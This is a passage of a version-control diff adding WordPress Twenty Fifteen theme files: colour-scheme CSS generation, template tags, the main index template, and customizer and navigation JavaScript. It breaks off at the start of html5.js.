+	wp_enqueue_script( 'twentyfifteen-customize-preview', get_template_directory_uri() . '/js/customize-preview.js', array( 'customize-preview' ), '20141216', true );
+}
+add_action( 'customize_preview_init', 'twentyfifteen_customize_preview_js' );
+
+/**
+ * Returns CSS for the color schemes.
+ *
+ * @since Twenty Fifteen 1.0
+ *
+ * @param array $colors Color scheme colors.
+ * @return string Color scheme CSS.
+ */
+function twentyfifteen_get_color_scheme_css( $colors ) {
+	$colors = wp_parse_args( $colors, array(
+		'background_color'            => '',
+		'header_background_color'     => '',
+		'box_background_color'        => '',
+		'textcolor'                   => '',
+		'secondary_textcolor'         => '',
+		'border_color'                => '',
+		'border_focus_color'          => '',
+		'sidebar_textcolor'           => '',
+		'sidebar_border_color'        => '',
+		'sidebar_border_focus_color'  => '',
+		'secondary_sidebar_textcolor' => '',
+		'meta_box_background_color'   => '',
+	) );
+
+	$css = <<<CSS
+	/* Color Scheme */
+
+	/* Background Color */
+	body {
+		background-color: {$colors['background_color']};
+	}
+
+	/* Sidebar Background Color */
+	body:before,
+	.site-header {
+		background-color: {$colors['header_background_color']};
+	}
+
+	/* Box Background Color */
+	.post-navigation,
+	.pagination,
+	.secondary,
+	.site-footer,
+	.hentry,
+	.page-header,
+	.page-content,
+	.comments-area {
+		background-color: {$colors['box_background_color']};
+	}
+
+	/* Box Background Color */
+	button,
+	input[type="button"],
+	input[type="reset"],
+	input[type="submit"],
+	.pagination .prev,
+	.pagination .next,
+	.widget_calendar tbody a,
+	.widget_calendar tbody a:hover,
+	.widget_calendar tbody a:focus,
+	.page-links a,
+	.page-links a:hover,
+	.page-links a:focus,
+	.sticky-post {
+		color: {$colors['box_background_color']};
+	}
+
+	/* Main Text Color */
+	button,
+	input[type="button"],
+	input[type="reset"],
+	input[type="submit"],
+	.pagination .prev,
+	.pagination .next,
+	.widget_calendar tbody a,
+	.page-links a,
+	.sticky-post {
+		background-color: {$colors['textcolor']};
+	}
+
+	/* Main Text Color */
+	body,
+	blockquote cite,
+	blockquote small,
+	a,
+	.dropdown-toggle:after,
+	.image-navigation a:hover,
+	.image-navigation a:focus,
+	.comment-navigation a:hover,
+	.comment-navigation a:focus,
+	.widget-title,
+	.entry-footer a:hover,
+	.entry-footer a:focus,
+	.comment-metadata a:hover,
+	.comment-metadata a:focus,
+	.pingback .edit-link a:hover,
+	.pingback .edit-link a:focus,
+	.comment-list .reply a:hover,
+	.comment-list .reply a:focus,
+	.site-info a:hover,
+	.site-info a:focus {
+		color: {$colors['textcolor']};
+	}
+
+	/* Main Text Color */
+	.entry-content a,
+	.entry-summary a,
+	.page-content a,
+	.comment-content a,
+	.pingback .comment-body > a,
+	.author-description a,
+	.taxonomy-description a,
+	.textwidget a,
+	.entry-footer a:hover,
+	.comment-metadata a:hover,
+	.pingback .edit-link a:hover,
+	.comment-list .reply a:hover,
+	.site-info a:hover {
+		border-color: {$colors['textcolor']};
+	}
+
+	/* Secondary Text Color */
+	button:hover,
+	button:focus,
+	input[type="button"]:hover,
+	input[type="button"]:focus,
+	input[type="reset"]:hover,
+	input[type="reset"]:focus,
+	input[type="submit"]:hover,
+	input[type="submit"]:focus,
+	.pagination .prev:hover,
+	.pagination .prev:focus,
+	.pagination .next:hover,
+	.pagination .next:focus,
+	.widget_calendar tbody a:hover,
+	.widget_calendar tbody a:focus,
+	.page-links a:hover,
+	.page-links a:focus {
+		background-color: {$colors['textcolor']}; /* Fallback for IE7 and IE8 */
+		background-color: {$colors['secondary_textcolor']};
+	}
+
+	/* Secondary Text Color */
+	blockquote,
+	a:hover,
+	a:focus,
+	.main-navigation .menu-item-description,
+	.post-navigation .meta-nav,
+	.post-navigation a:hover .post-title,
+	.post-navigation a:focus .post-title,
+	.image-navigation,
+	.image-navigation a,
+	.comment-navigation,
+	.comment-navigation a,
+	.widget,
+	.author-heading,
+	.entry-footer,
+	.entry-footer a,
+	.taxonomy-description,
+	.page-links > .page-links-title,
+	.entry-caption,
+	.comment-author,
+	.comment-metadata,
+	.comment-metadata a,
+	.pingback .edit-link,
+	.pingback .edit-link a,
+	.post-password-form label,
+	.comment-form label,
+	.comment-notes,
+	.comment-awaiting-moderation,
+	.logged-in-as,
+	.form-allowed-tags,
+	.no-comments,
+	.site-info,
+	.site-info a,
+	.wp-caption-text,
+	.gallery-caption,
+	.comment-list .reply a {
+		color: {$colors['textcolor']}; /* Fallback for IE7 and IE8 */
+		color: {$colors['secondary_textcolor']};
+	}
+
+	/* Secondary Text Color */
+	blockquote,
+	.logged-in-as a:hover,
+	.comment-author a:hover {
+		border-color: {$colors['textcolor']}; /* Fallback for IE7 and IE8 */
+		border-color: {$colors['secondary_textcolor']};
+	}
+
+	/* Border Color */
+	hr,
+	.dropdown-toggle:hover,
+	.dropdown-toggle:focus {
+		background-color: {$colors['textcolor']}; /* Fallback for IE7 and IE8 */
+		background-color: {$colors['border_color']};
+	}
+
+	/* Border Color */
+	pre,
+	abbr[title],
+	table,
+	th,
+	td,
+	input,
+	textarea,
+	.main-navigation ul,
+	.main-navigation li,
+	.post-navigation,
+	.post-navigation div + div,
+	.pagination,
+	.comment-navigation,
+	.widget li,
+	.widget_categories .children,
+	.widget_nav_menu .sub-menu,
+	.widget_pages .children,
+	.site-header,
+	.site-footer,
+	.hentry + .hentry,
+	.author-info,
+	.entry-content .page-links a,
+	.page-links > span,
+	.page-header,
+	.comments-area,
+	.comment-list + .comment-respond,
+	.comment-list article,
+	.comment-list .pingback,
+	.comment-list .trackback,
+	.comment-list .reply a,
+	.no-comments {
+		border-color: {$colors['textcolor']}; /* Fallback for IE7 and IE8 */
+		border-color: {$colors['border_color']};
+	}
+
+	/* Border Focus Color */
+	a:focus,
+	button:focus,
+	input:focus {
+		outline-color: {$colors['textcolor']}; /* Fallback for IE7 and IE8 */
+		outline-color: {$colors['border_focus_color']};
+	}
+
+	input:focus,
+	textarea:focus {
+		border-color: {$colors['textcolor']}; /* Fallback for IE7 and IE8 */
+		border-color: {$colors['border_focus_color']};
+	}
+
+	/* Sidebar Link Color */
+	.secondary-toggle:before {
+		color: {$colors['sidebar_textcolor']};
+	}
+
+	.site-title a,
+	.site-description {
+		color: {$colors['sidebar_textcolor']};
+	}
+
+	/* Sidebar Text Color */
+	.site-title a:hover,
+	.site-title a:focus {
+		color: {$colors['secondary_sidebar_textcolor']};
+	}
+
+	/* Sidebar Border Color */
+	.secondary-toggle {
+		border-color: {$colors['sidebar_textcolor']}; /* Fallback for IE7 and IE8 */
+		border-color: {$colors['sidebar_border_color']};
+	}
+
+	/* Sidebar Border Focus Color */
+	.secondary-toggle:hover,
+	.secondary-toggle:focus {
+		border-color: {$colors['sidebar_textcolor']}; /* Fallback for IE7 and IE8 */
+		border-color: {$colors['sidebar_border_focus_color']};
+	}
+
+	.site-title a {
+		outline-color: {$colors['sidebar_textcolor']}; /* Fallback for IE7 and IE8 */
+		outline-color: {$colors['sidebar_border_focus_color']};
+	}
+
+	/* Meta Background Color */
+	.entry-footer {
+		background-color: {$colors['meta_box_background_color']};
+	}
+
+	@media screen and (min-width: 38.75em) {
+		/* Main Text Color */
+		.page-header {
+			border-color: {$colors['textcolor']};
+		}
+	}
+
+	@media screen and (min-width: 59.6875em) {
+		/* Make sure its transparent on desktop */
+		.site-header,
+		.secondary {
+			background-color: transparent;
+		}
+
+		/* Sidebar Background Color */
+		.widget button,
+		.widget input[type="button"],
+		.widget input[type="reset"],
+		.widget input[type="submit"],
+		.widget_calendar tbody a,
+		.widget_calendar tbody a:hover,
+		.widget_calendar tbody a:focus {
+			color: {$colors['header_background_color']};
+		}
+
+		/* Sidebar Link Color */
+		.secondary a,
+		.dropdown-toggle:after,
+		.widget-title,
+		.widget blockquote cite,
+		.widget blockquote small {
+			color: {$colors['sidebar_textcolor']};
+		}
+
+		.widget button,
+		.widget input[type="button"],
+		.widget input[type="reset"],
+		.widget input[type="submit"],
+		.widget_calendar tbody a {
+			background-color: {$colors['sidebar_textcolor']};
+		}
+
+		.textwidget a {
+			border-color: {$colors['sidebar_textcolor']};
+		}
+
+		/* Sidebar Text Color */
+		.secondary a:hover,
+		.secondary a:focus,
+		.main-navigation .menu-item-description,
+		.widget,
+		.widget blockquote,
+		.widget .wp-caption-text,
+		.widget .gallery-caption {
+			color: {$colors['secondary_sidebar_textcolor']};
+		}
+
+		.widget button:hover,
+		.widget button:focus,
+		.widget input[type="button"]:hover,
+		.widget input[type="button"]:focus,
+		.widget input[type="reset"]:hover,
+		.widget input[type="reset"]:focus,
+		.widget input[type="submit"]:hover,
+		.widget input[type="submit"]:focus,
+		.widget_calendar tbody a:hover,
+		.widget_calendar tbody a:focus {
+			background-color: {$colors['secondary_sidebar_textcolor']};
+		}
+
+		.widget blockquote {
+			border-color: {$colors['secondary_sidebar_textcolor']};
+		}
+
+		/* Sidebar Border Color */
+		.main-navigation ul,
+		.main-navigation li,
+		.widget input,
+		.widget textarea,
+		.widget table,
+		.widget th,
+		.widget td,
+		.widget pre,
+		.widget li,
+		.widget_categories .children,
+		.widget_nav_menu .sub-menu,
+		.widget_pages .children,
+		.widget abbr[title] {
+			border-color: {$colors['sidebar_border_color']};
+		}
+
+		.dropdown-toggle:hover,
+		.dropdown-toggle:focus,
+		.widget hr {
+			background-color: {$colors['sidebar_border_color']};
+		}
+
+		.widget input:focus,
+		.widget textarea:focus {
+			border-color: {$colors['sidebar_border_focus_color']};
+		}
+
+		.sidebar a:focus,
+		.dropdown-toggle:focus {
+			outline-color: {$colors['sidebar_border_focus_color']};
+		}
+	}
+CSS;
+
+	return $css;
+}
+
+/**
+ * Output an Underscore template for generating CSS for the color scheme.
+ *
+ * The template generates the css dynamically for instant display in the Customizer
+ * preview.
+ *
+ * @since Twenty Fifteen 1.0
+ */
+function twentyfifteen_color_scheme_css_template() {
+	$colors = array(
+		'background_color'            => '{{ data.background_color }}',
+		'header_background_color'     => '{{ data.header_background_color }}',
+		'box_background_color'        => '{{ data.box_background_color }}',
+		'textcolor'                   => '{{ data.textcolor }}',
+		'secondary_textcolor'         => '{{ data.secondary_textcolor }}',
+		'border_color'                => '{{ data.border_color }}',
+		'border_focus_color'          => '{{ data.border_focus_color }}',
+		'sidebar_textcolor'           => '{{ data.sidebar_textcolor }}',
+		'sidebar_border_color'        => '{{ data.sidebar_border_color }}',
+		'sidebar_border_focus_color'  => '{{ data.sidebar_border_focus_color }}',
+		'secondary_sidebar_textcolor' => '{{ data.secondary_sidebar_textcolor }}',
+		'meta_box_background_color'   => '{{ data.meta_box_background_color }}',
+	);
+	?>
+	<script type="text/html" id="tmpl-twentyfifteen-color-scheme">
+		<?php echo twentyfifteen_get_color_scheme_css( $colors ); ?>
+	</script>
+	<?php
+}
+add_action( 'customize_controls_print_footer_scripts', 'twentyfifteen_color_scheme_css_template' );
Index: /tags/4.1.6/src/wp-content/themes/twentyfifteen/inc/template-tags.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyfifteen/inc/template-tags.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyfifteen/inc/template-tags.php	(revision 33402)
@@ -0,0 +1,242 @@
+<?php
+/**
+ * Custom template tags for Twenty Fifteen
+ *
+ * Eventually, some of the functionality here could be replaced by core features.
+ *
+ * @package WordPress
+ * @subpackage Twenty_Fifteen
+ * @since Twenty Fifteen 1.0
+ */
+
+if ( ! function_exists( 'twentyfifteen_comment_nav' ) ) :
+/**
+ * Display navigation to next/previous comments when applicable.
+ *
+ * @since Twenty Fifteen 1.0
+ */
+function twentyfifteen_comment_nav() {
+	// Are there comments to navigate through?
+	if ( get_comment_pages_count() > 1 && get_option( 'page_comments' ) ) :
+	?>
+	<nav class="navigation comment-navigation" role="navigation">
+		<h2 class="screen-reader-text"><?php _e( 'Comment navigation', 'twentyfifteen' ); ?></h2>
+		<div class="nav-links">
+			<?php
+				if ( $prev_link = get_previous_comments_link( __( 'Older Comments', 'twentyfifteen' ) ) ) :
+					printf( '<div class="nav-previous">%s</div>', $prev_link );
+				endif;
+
+				if ( $next_link = get_next_comments_link( __( 'Newer Comments', 'twentyfifteen' ) ) ) :
+					printf( '<div class="nav-next">%s</div>', $next_link );
+				endif;
+			?>
+		</div><!-- .nav-links -->
+	</nav><!-- .comment-navigation -->
+	<?php
+	endif;
+}
+endif;
+
+if ( ! function_exists( 'twentyfifteen_entry_meta' ) ) :
+/**
+ * Prints HTML with meta information for the categories, tags.
+ *
+ * @since Twenty Fifteen 1.0
+ */
+function twentyfifteen_entry_meta() {
+	if ( is_sticky() && is_home() && ! is_paged() ) {
+		printf( '<span class="sticky-post">%s</span>', __( 'Featured', 'twentyfifteen' ) );
+	}
+
+	$format = get_post_format();
+	if ( current_theme_supports( 'post-formats', $format ) ) {
+		printf( '<span class="entry-format">%1$s<a href="%2$s">%3$s</a></span>',
+			sprintf( '<span class="screen-reader-text">%s </span>', _x( 'Format', 'Used before post format.', 'twentyfifteen' ) ),
+			esc_url( get_post_format_link( $format ) ),
+			get_post_format_string( $format )
+		);
+	}
+
+	if ( in_array( get_post_type(), array( 'post', 'attachment' ) ) ) {
+		$time_string = '<time class="entry-date published updated" datetime="%1$s">%2$s</time>';
+
+		if ( get_the_time( 'U' ) !== get_the_modified_time( 'U' ) ) {
+			$time_string = '<time class="entry-date published" datetime="%1$s">%2$s</time><time class="updated" datetime="%3$s">%4$s</time>';
+		}
+
+		$time_string = sprintf( $time_string,
+			esc_attr( get_the_date( 'c' ) ),
+			get_the_date(),
+			esc_attr( get_the_modified_date( 'c' ) ),
+			get_the_modified_date()
+		);
+
+		printf( '<span class="posted-on"><span class="screen-reader-text">%1$s </span><a href="%2$s" rel="bookmark">%3$s</a></span>',
+			_x( 'Posted on', 'Used before publish date.', 'twentyfifteen' ),
+			esc_url( get_permalink() ),
+			$time_string
+		);
+	}
+
+	if ( 'post' == get_post_type() ) {
+		if ( is_singular() || is_multi_author() ) {
+			printf( '<span class="byline"><span class="author vcard"><span class="screen-reader-text">%1$s </span><a class="url fn n" href="%2$s">%3$s</a></span></span>',
+				_x( 'Author', 'Used before post author name.', 'twentyfifteen' ),
+				esc_url( get_author_posts_url( get_the_author_meta( 'ID' ) ) ),
+				get_the_author()
+			);
+		}
+
+		$categories_list = get_the_category_list( _x( ', ', 'Used between list items, there is a space after the comma.', 'twentyfifteen' ) );
+		if ( $categories_list && twentyfifteen_categorized_blog() ) {
+			printf( '<span class="cat-links"><span class="screen-reader-text">%1$s </span>%2$s</span>',
+				_x( 'Categories', 'Used before category names.', 'twentyfifteen' ),
+				$categories_list
+			);
+		}
+
+		$tags_list = get_the_tag_list( '', _x( ', ', 'Used between list items, there is a space after the comma.', 'twentyfifteen' ) );
+		if ( $tags_list ) {
+			printf( '<span class="tags-links"><span class="screen-reader-text">%1$s </span>%2$s</span>',
+				_x( 'Tags', 'Used before tag names.', 'twentyfifteen' ),
+				$tags_list
+			);
+		}
+	}
+
+	if ( is_attachment() && wp_attachment_is_image() ) {
+		// Retrieve attachment metadata.
+		$metadata = wp_get_attachment_metadata();
+
+		printf( '<span class="full-size-link"><span class="screen-reader-text">%1$s </span><a href="%2$s">%3$s &times; %4$s</a></span>',
+			_x( 'Full size', 'Used before full size attachment link.', 'twentyfifteen' ),
+			esc_url( wp_get_attachment_url() ),
+			$metadata['width'],
+			$metadata['height']
+		);
+	}
+
+	if ( ! is_single() && ! post_password_required() && ( comments_open() || get_comments_number() ) ) {
+		echo '<span class="comments-link">';
+		comments_popup_link( __( 'Leave a comment', 'twentyfifteen' ), __( '1 Comment', 'twentyfifteen' ), __( '% Comments', 'twentyfifteen' ) );
+		echo '</span>';
+	}
+}
+endif;
+
+/**
+ * Determine whether blog/site has more than one category.
+ *
+ * @since Twenty Fifteen 1.0
+ *
+ * @return bool True of there is more than one category, false otherwise.
+ */
+function twentyfifteen_categorized_blog() {
+	if ( false === ( $all_the_cool_cats = get_transient( 'twentyfifteen_categories' ) ) ) {
+		// Create an array of all the categories that are attached to posts.
+		$all_the_cool_cats = get_categories( array(
+			'fields'     => 'ids',
+			'hide_empty' => 1,
+
+			// We only need to know if there is more than one category.
+			'number'     => 2,
+		) );
+
+		// Count the number of categories that are attached to the posts.
+		$all_the_cool_cats = count( $all_the_cool_cats );
+
+		set_transient( 'twentyfifteen_categories', $all_the_cool_cats );
+	}
+
+	if ( $all_the_cool_cats > 1 ) {
+		// This blog has more than 1 category so twentyfifteen_categorized_blog should return true.
+		return true;
+	} else {
+		// This blog has only 1 category so twentyfifteen_categorized_blog should return false.
+		return false;
+	}
+}
+
+/**
+ * Flush out the transients used in {@see twentyfifteen_categorized_blog()}.
+ *
+ * @since Twenty Fifteen 1.0
+ */
+function twentyfifteen_category_transient_flusher() {
+	// Like, beat it. Dig?
+	delete_transient( 'twentyfifteen_categories' );
+}
+add_action( 'edit_category', 'twentyfifteen_category_transient_flusher' );
+add_action( 'save_post',     'twentyfifteen_category_transient_flusher' );
+
+if ( ! function_exists( 'twentyfifteen_post_thumbnail' ) ) :
+/**
+ * Display an optional post thumbnail.
+ *
+ * Wraps the post thumbnail in an anchor element on index views, or a div
+ * element when on single views.
+ *
+ * @since Twenty Fifteen 1.0
+ */
+function twentyfifteen_post_thumbnail() {
+	if ( post_password_required() || is_attachment() || ! has_post_thumbnail() ) {
+		return;
+	}
+
+	if ( is_singular() ) :
+	?>
+
+	<div class="post-thumbnail">
+		<?php the_post_thumbnail(); ?>
+	</div><!-- .post-thumbnail -->
+
+	<?php else : ?>
+
+	<a class="post-thumbnail" href="<?php the_permalink(); ?>" aria-hidden="true">
+		<?php
+			the_post_thumbnail( 'post-thumbnail', array( 'alt' => get_the_title() ) );
+		?>
+	</a>
+
+	<?php endif; // End is_singular()
+}
+endif;
+
+if ( ! function_exists( 'twentyfifteen_get_link_url' ) ) :
+/**
+ * Return the post URL.
+ *
+ * Falls back to the post permalink if no URL is found in the post.
+ *
+ * @since Twenty Fifteen 1.0
+ *
+ * @see get_url_in_content()
+ *
+ * @return string The Link format URL.
+ */
+function twentyfifteen_get_link_url() {
+	$has_url = get_url_in_content( get_the_content() );
+
+	return $has_url ? $has_url : apply_filters( 'the_permalink', get_permalink() );
+}
+endif;
+
+if ( ! function_exists( 'twentyfifteen_excerpt_more' ) && ! is_admin() ) :
+/**
+ * Replaces "[...]" (appended to automatically generated excerpts) with ... and a 'Continue reading' link.
+ *
+ * @since Twenty Fifteen 1.0
+ *
+ * @return string 'Continue reading' link prepended with an ellipsis.
+ */
+function twentyfifteen_excerpt_more( $more ) {
+	$link = sprintf( '<a href="%1$s" class="more-link">%2$s</a>',
+		esc_url( get_permalink( get_the_ID() ) ),
+		/* translators: %s: Name of current post */
+		sprintf( __( 'Continue reading %s', 'twentyfifteen' ), '<span class="screen-reader-text">' . get_the_title( get_the_ID() ) . '</span>' )
+		);
+	return ' &hellip; ' . $link;
+}
+add_filter( 'excerpt_more', 'twentyfifteen_excerpt_more' );
+endif;
Index: /tags/4.1.6/src/wp-content/themes/twentyfifteen/index.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyfifteen/index.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyfifteen/index.php	(revision 33402)
@@ -0,0 +1,61 @@
+<?php
+/**
+ * The main template file
+ *
+ * This is the most generic template file in a WordPress theme
+ * and one of the two required files for a theme (the other being style.css).
+ * It is used to display a page when nothing more specific matches a query.
+ * e.g., it puts together the home page when no home.php file exists.
+ *
+ * Learn more: {@link https://codex.wordpress.org/Template_Hierarchy}
+ *
+ * @package WordPress
+ * @subpackage Twenty_Fifteen
+ * @since Twenty Fifteen 1.0
+ */
+
+get_header(); ?>
+
+	<div id="primary" class="content-area">
+		<main id="main" class="site-main" role="main">
+
+		<?php if ( have_posts() ) : ?>
+
+			<?php if ( is_home() && ! is_front_page() ) : ?>
+				<header>
+					<h1 class="page-title screen-reader-text"><?php single_post_title(); ?></h1>
+				</header>
+			<?php endif; ?>
+
+			<?php
+			// Start the loop.
+			while ( have_posts() ) : the_post();
+
+				/*
+				 * Include the Post-Format-specific template for the content.
+				 * If you want to override this in a child theme, then include a file
+				 * called content-___.php (where ___ is the Post Format name) and that will be used instead.
+				 */
+				get_template_part( 'content', get_post_format() );
+
+			// End the loop.
+			endwhile;
+
+			// Previous/next page navigation.
+			the_posts_pagination( array(
+				'prev_text'          => __( 'Previous page', 'twentyfifteen' ),
+				'next_text'          => __( 'Next page', 'twentyfifteen' ),
+				'before_page_number' => '<span class="meta-nav screen-reader-text">' . __( 'Page', 'twentyfifteen' ) . ' </span>',
+			) );
+
+		// If no content, include the "No posts found" template.
+		else :
+			get_template_part( 'content', 'none' );
+
+		endif;
+		?>
+
+		</main><!-- .site-main -->
+	</div><!-- .content-area -->
+
+<?php get_footer(); ?>
Index: /tags/4.1.6/src/wp-content/themes/twentyfifteen/js/color-scheme-control.js
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyfifteen/js/color-scheme-control.js	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyfifteen/js/color-scheme-control.js	(revision 33402)
@@ -0,0 +1,78 @@
+/* global colorScheme, Color */
+/**
+ * Add a listener to the Color Scheme control to update other color controls to new values/defaults.
+ * Also trigger an update of the Color Scheme CSS when a color is changed.
+ */
+
+( function( api ) {
+	var cssTemplate = wp.template( 'twentyfifteen-color-scheme' ),
+		colorSchemeKeys = [
+			'background_color',
+			'header_background_color',
+			'box_background_color',
+			'textcolor',
+			'sidebar_textcolor',
+			'meta_box_background_color'
+		],
+		colorSettings = [
+			'background_color',
+			'header_background_color',
+			'sidebar_textcolor'
+		];
+
+	api.controlConstructor.select = api.Control.extend( {
+		ready: function() {
+			if ( 'color_scheme' === this.id ) {
+				this.setting.bind( 'change', function( value ) {
+					// Update Background Color.
+					api( 'background_color' ).set( colorScheme[value].colors[0] );
+					api.control( 'background_color' ).container.find( '.color-picker-hex' )
+						.data( 'data-default-color', colorScheme[value].colors[0] )
+						.wpColorPicker( 'defaultColor', colorScheme[value].colors[0] );
+
+					// Update Header/Sidebar Background Color.
+					api( 'header_background_color' ).set( colorScheme[value].colors[1] );
+					api.control( 'header_background_color' ).container.find( '.color-picker-hex' )
+						.data( 'data-default-color', colorScheme[value].colors[1] )
+						.wpColorPicker( 'defaultColor', colorScheme[value].colors[1] );
+
+					// Update Header/Sidebar Text Color.
+					api( 'sidebar_textcolor' ).set( colorScheme[value].colors[4] );
+					api.control( 'sidebar_textcolor' ).container.find( '.color-picker-hex' )
+						.data( 'data-default-color', colorScheme[value].colors[4] )
+						.wpColorPicker( 'defaultColor', colorScheme[value].colors[4] );
+				} );
+			}
+		}
+	} );
+
+	// Generate the CSS for the current Color Scheme.
+	function updateCSS() {
+		var scheme = api( 'color_scheme' )(), css,
+			colors = _.object( colorSchemeKeys, colorScheme[ scheme ].colors );
+
+		// Merge in color scheme overrides.
+		_.each( colorSettings, function( setting ) {
+			colors[ setting ] = api( setting )();
+		});
+
+		// Add additional colors.
+		colors.secondary_textcolor = Color( colors.textcolor ).toCSS( 'rgba', 0.7 );
+		colors.border_color = Color( colors.textcolor ).toCSS( 'rgba', 0.1 );
+		colors.border_focus_color = Color( colors.textcolor ).toCSS( 'rgba', 0.3 );
+		colors.secondary_sidebar_textcolor = Color( colors.sidebar_textcolor ).toCSS( 'rgba', 0.7 );
+		colors.sidebar_border_color = Color( colors.sidebar_textcolor ).toCSS( 'rgba', 0.1 );
+		colors.sidebar_border_focus_color = Color( colors.sidebar_textcolor ).toCSS( 'rgba', 0.3 );
+
+		css = cssTemplate( colors );
+
+		api.previewer.send( 'update-color-scheme-css', css );
+	}
+
+	// Update the CSS whenever a color setting is changed.
+	_.each( colorSettings, function( setting ) {
+		api( setting, function( setting ) {
+			setting.bind( updateCSS );
+		} );
+	} );
+} )( wp.customize );
Index: /tags/4.1.6/src/wp-content/themes/twentyfifteen/js/customize-preview.js
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyfifteen/js/customize-preview.js	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyfifteen/js/customize-preview.js	(revision 33402)
@@ -0,0 +1,35 @@
+/**
+ * Live-update changed settings in real time in the Customizer preview.
+ */
+
+( function( $ ) {
+	var $style = $( '#twentyfifteen-color-scheme-css' ),
+		api = wp.customize;
+
+	if ( ! $style.length ) {
+		$style = $( 'head' ).append( '<style type="text/css" id="twentyfifteen-color-scheme-css" />' )
+		                    .find( '#twentyfifteen-color-scheme-css' );
+	}
+
+	// Site title.
+	api( 'blogname', function( value ) {
+		value.bind( function( to ) {
+			$( '.site-title a' ).text( to );
+		} );
+	} );
+
+	// Site tagline.
+	api( 'blogdescription', function( value ) {
+		value.bind( function( to ) {
+			$( '.site-description' ).text( to );
+		} );
+	} );
+
+	// Color Scheme CSS.
+	api.bind( 'preview-ready', function() {
+		api.preview.bind( 'update-color-scheme-css', function( css ) {
+			$style.html( css );
+		} );
+	} );
+
+} )( jQuery );
Index: /tags/4.1.6/src/wp-content/themes/twentyfifteen/js/functions.js
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyfifteen/js/functions.js	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyfifteen/js/functions.js	(revision 33402)
@@ -0,0 +1,131 @@
+/* global screenReaderText */
+/**
+ * Theme functions file.
+ *
+ * Contains handlers for navigation and widget area.
+ */
+
+( function( $ ) {
+	var $body, $window, $sidebar, adminbarOffset, top = false,
+	    bottom = false, windowWidth, windowHeight, lastWindowPos = 0,
+	    topOffset = 0, bodyHeight, sidebarHeight, resizeTimer;
+
+	// Add dropdown toggle that display child menu items.
+	$( '.main-navigation .page_item_has_children > a, .main-navigation .menu-item-has-children > a' ).after( '<button class="dropdown-toggle" aria-expanded="false">' + screenReaderText.expand + '</button>' );
+
+	$( '.dropdown-toggle' ).click( function( e ) {
+		var _this = $( this );
+		e.preventDefault();
+		_this.toggleClass( 'toggle-on' );
+		_this.next( '.children, .sub-menu' ).toggleClass( 'toggled-on' );
+		_this.attr( 'aria-expanded', _this.attr( 'aria-expanded' ) === 'false' ? 'true' : 'false' );
+		_this.html( _this.html() === screenReaderText.expand ? screenReaderText.collapse : screenReaderText.expand );
+	} );
+
+	// Enable menu toggle for small screens.
+	( function() {
+		var secondary = $( '#secondary' ), button, menu, widgets, social;
+		if ( ! secondary ) {
+			return;
+		}
+
+		button = $( '.site-branding' ).find( '.secondary-toggle' );
+		if ( ! button ) {
+			return;
+		}
+
+		// Hide button if there are no widgets and the menus are missing or empty.
+		menu    = secondary.find( '.nav-menu' );
+		widgets = secondary.find( '#widget-area' );
+		social  = secondary.find( '#social-navigation' );
+		if ( ! widgets.length && ! social.length && ( ! menu || ! menu.children().length ) ) {
+			button.hide();
+			return;
+		}
+
+		button.on( 'click.twentyfifteen', function() {
+			secondary.toggleClass( 'toggled-on' );
+			secondary.trigger( 'resize' );
+			$( this ).toggleClass( 'toggled-on' );
+		} );
+	} )();
+
+	// Sidebar scrolling.
+	function resize() {
+		windowWidth   = $window.width();
+		windowHeight  = $window.height();
+		bodyHeight    = $body.height();
+		sidebarHeight = $sidebar.height();
+
+		if ( 955 > windowWidth ) {
+			top = bottom = false;
+			$sidebar.removeAttr( 'style' );
+		}
+	}
+
+	function scroll() {
+		var windowPos = $window.scrollTop();
+
+		if ( 955 > windowWidth ) {
+			return;
+		}
+
+		if ( sidebarHeight + adminbarOffset > windowHeight ) {
+			if ( windowPos > lastWindowPos ) {
+				if ( top ) {
+					top = false;
+					topOffset = ( $sidebar.offset().top > 0 ) ? $sidebar.offset().top - adminbarOffset : 0;
+					$sidebar.attr( 'style', 'top: ' + topOffset + 'px;' );
+				} else if ( ! bottom && windowPos + windowHeight > sidebarHeight + $sidebar.offset().top && sidebarHeight + adminbarOffset < bodyHeight ) {
+					bottom = true;
+					$sidebar.attr( 'style', 'position: fixed; bottom: 0;' );
+				}
+			} else if ( windowPos < lastWindowPos ) {
+				if ( bottom ) {
+					bottom = false;
+					topOffset = ( $sidebar.offset().top > 0 ) ? $sidebar.offset().top - adminbarOffset : 0;
+					$sidebar.attr( 'style', 'top: ' + topOffset + 'px;' );
+				} else if ( ! top && windowPos + adminbarOffset < $sidebar.offset().top ) {
+					top = true;
+					$sidebar.attr( 'style', 'position: fixed;' );
+				}
+			} else {
+				top = bottom = false;
+				topOffset = ( $sidebar.offset().top > 0 ) ? $sidebar.offset().top - adminbarOffset : 0;
+				$sidebar.attr( 'style', 'top: ' + topOffset + 'px;' );
+			}
+		} else if ( ! top ) {
+			top = true;
+			$sidebar.attr( 'style', 'position: fixed;' );
+		}
+
+		lastWindowPos = windowPos;
+	}
+
+	function resizeAndScroll() {
+		resize();
+		scroll();
+	}
+
+	$( document ).ready( function() {
+		$body          = $( document.body );
+		$window        = $( window );
+		$sidebar       = $( '#sidebar' ).first();
+		adminbarOffset = $body.is( '.admin-bar' ) ? $( '#wpadminbar' ).height() : 0;
+
+		$window
+			.on( 'scroll.twentyfifteen', scroll )
+			.on( 'resize.twentyfifteen', function() {
+				clearTimeout( resizeTimer );
+				resizeTimer = setTimeout( resizeAndScroll, 500 );
+			} );
+		$sidebar.on( 'click keydown', 'button', resizeAndScroll );
+
+		resizeAndScroll();
+
+		for ( var i = 1; i < 6; i++ ) {
+			setTimeout( resizeAndScroll, 100 * i );
+		}
+	} );
+
+} )( jQuery );
Index: /tags/4.1.6/src/wp-content/themes/twentyfifteen/js/html5.js
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyfifteen/js/html5.js	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyfifteen/js/html5.js	(revision 33402)
@@ -0,0 +1,9 @@
+/*
